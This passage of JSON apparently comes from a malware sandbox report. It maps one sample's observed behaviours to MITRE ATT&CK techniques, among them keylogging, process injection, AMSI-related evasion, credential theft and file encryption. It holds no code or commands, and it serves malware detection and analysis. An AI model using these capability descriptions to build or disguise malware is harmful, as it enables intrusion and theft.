strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"},{"type":"suspicious","value":"Calls an API that may be used to take screenshots"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Able to retrieve file and directory information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to download and install modules (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to move file or directory"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Command line contains PowerShell"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"tactic":"Persistence","technique":"DLL Search Order Hijacking","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"suspicious","value":"Drops PE files with misleading file extensions"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Renames files with double extension (often done by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically to import cryptographic keys into a CSP"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","identifiers":[{"type":"suspicious","value":"Able to hide command execution using obfuscation techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","identifiers":[{"type":"suspicious","value":"Drops binary executable file with an unexpected extension"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"},{"type":"informative","value":"References Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Contains ability to write/modify file content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Contains ability to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Network Configuration 